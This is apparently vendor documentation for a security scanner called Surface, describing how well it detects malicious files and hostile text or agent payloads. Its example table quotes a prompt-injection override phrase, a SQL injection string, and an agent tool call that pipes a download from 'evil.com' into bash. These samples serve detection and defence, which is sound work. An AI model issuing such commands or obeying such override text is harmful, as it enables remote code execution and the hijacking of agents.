Docs / Surface / detection-coverage

Detection Coverage

An honest overview of what Surface catches, how confident the detection is, and where the limitations are. No scanner catches everything; understanding the boundaries helps you build the right defense-in-depth strategy.

File upload detection

Every uploaded file is analyzed by multiple engines in parallel: pattern matching, machine learning, threat intelligence feeds, and behavioral analysis. The combined result is stronger than any single engine.

File type Detection confidence False positive risk
Executables (.exe, .dll) Very high Very low
Linux binaries (ELF) Very high Low
Office documents (.doc, .docx, .xls, .xlsx, .ppt) High Low
PDFs High Low
JavaScript (.js) Very high Very low
Python (.py) Very high Very low
PowerShell (.ps1) High Low
Shell scripts (.sh), Batch (.bat), VBScript (.vbs) High Low
PHP (.php) High Very low
Other scripts and source (Ruby, Perl, Lua, Go, Rust, Java, TypeScript, etc.) Moderate to high Low to moderate
Archives (ZIP, RAR, 7z, tar) High (each file inside is scanned individually) Low
Images, fonts, config files Low (checked against known threats only) Very low
Info

ML coverage note. The ML classifiers are specifically trained on JavaScript, PowerShell, Python, VBScript, Unix shell, and Windows batch scripts. Other scripting languages (PHP, Ruby, Perl, Lua, Go, Rust, Java, TypeScript) are still scanned with YARA rules, IOC extraction, threat feeds, and static heuristics, but do not have dedicated ML training sets. Depending on content shape, the generic script classifier may still contribute a score.

Payload scanning coverage

When you scan text payloads (JSON, messages, tool calls), additional engines detect threats specific to API and agent communication:

Threat What it catches Example
Prompt injection Jailbreaks, role overrides, instruction manipulation "Ignore all previous instructions and..."
Embedded code Malicious scripts hidden inside messages, such as reverse shells, download commands, SQL injection patterns, and XSS payloads A chat message containing a bash reverse shell, or a SQL union attack like ' OR '1'='1' --
Credential exposure API keys, tokens, private keys, passwords, credit card numbers An AWS secret key in a request body
Suspicious tool calls Agent tool invocations that execute commands, write backdoors, or exfiltrate data `{"tool":"execute","command":"curl evil.com \ bash"}`
Malicious URLs URLs matching known threat intelligence feeds found in payload text A link to a known phishing or malware distribution site

Normal, clean content (conversations, JSON data, code snippets, documentation) passes through without false alarms.

Evasion resistance

Surface is continuously tested against common obfuscation and evasion techniques. Detection is pattern-based and ML-assisted, which means it catches known evasion methods and many variations. Determined attackers crafting entirely novel evasion methods may bypass detection.

What Surface catches well

What Surface is honest about

Warning

Surface is a detection layer, not a guarantee. Use it as part of a defense-in-depth approach: validate file types on upload, enforce size limits, scan before processing, and keep scanned files isolated until cleared. No single tool replaces a layered security strategy.